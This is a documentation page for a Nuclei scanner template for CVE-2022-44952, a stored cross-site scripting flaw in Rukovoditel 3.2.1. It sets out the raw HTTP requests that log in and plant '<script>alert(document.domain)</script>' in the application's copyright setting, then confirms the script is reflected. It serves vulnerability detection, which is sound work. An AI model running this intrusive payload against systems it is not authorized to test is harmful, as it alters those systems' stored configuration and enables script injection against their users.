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Rukovoditel <= 3.2.1 - Cross Site Scripting

ID: CVE-2022-44952

Severity: medium

Author: r3Y3r53

Tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,intrusive

Description

Section titled “Description”

Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in /index.php?module=configuration/application. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Copyright Text field after clicking “Add”.

YAML Source

Section titled “YAML Source”
id: CVE-2022-44952


info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in /index.php?module=configuration/application. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Copyright Text field after clicking "Add".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/9
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44952
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44952
    cwe-id: CWE-79
    epss-score: 0.07295
    epss-percentile: 0.93905
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,intrusive


http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=configuration/save&redirect_to=configuration/application HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMh2HSjWbM7zJjWOA


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="form_session_token"


        {{nonce}}
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_NAME]"


        Test
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_SHORT_NAME]"


        test
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="APP_LOGO"; filename=""
        Content-Type: application/octet-stream




        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LOGO]"




        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LOGO_URL]"




        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="APP_FAVICON"; filename=""
        Content-Type: application/octet-stream




        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_FAVICON]"




        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_COPYRIGHT_NAME]"


        <script>alert(document.domain)</script>
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LANGUAGE]"


        english.php
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_SKIN]"




        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_TIMEZONE]"


        America/New_York
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_ROWS_PER_PAGE]"


        10
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_DATE_FORMAT]"


        m/d/Y
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_DATETIME_FORMAT]"


        m/d/Y H:i
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_NUMBER_FORMAT]"


        2/./*
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_FIRST_DAY_OF_WEEK]"


        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[DROP_DOWN_MENU_ON_HOVER]"


        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[DISABLE_CHECK_FOR_UPDATES]"


        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA--
      - |
        @timeout: 5s
        GET /index.php?module=dashboard/ HTTP/1.1
        Host: {{Hostname}}


    redirects: true
    matchers:
      - type: dsl
        dsl:
          - status_code_4 == 200
          - contains(content_type_4, "text/html")
          - contains(body_4, "<script>alert(document.domain)</script>")
          - contains(body_4, "rukovoditel")
        condition: and


    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - id="form_session_token" value="(.*)" type="hidden"
        internal: true
# digest: 4a0a0047304502204a32e4183614855c8a01e4d9dd5ea2cc5205d3b4ed7a307865083d7354c3cd87022100af5620a663b4a972dc999eb20f8bcdbf81369df426e623ad61ac296a56a89864:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-44952.yaml"

View on Github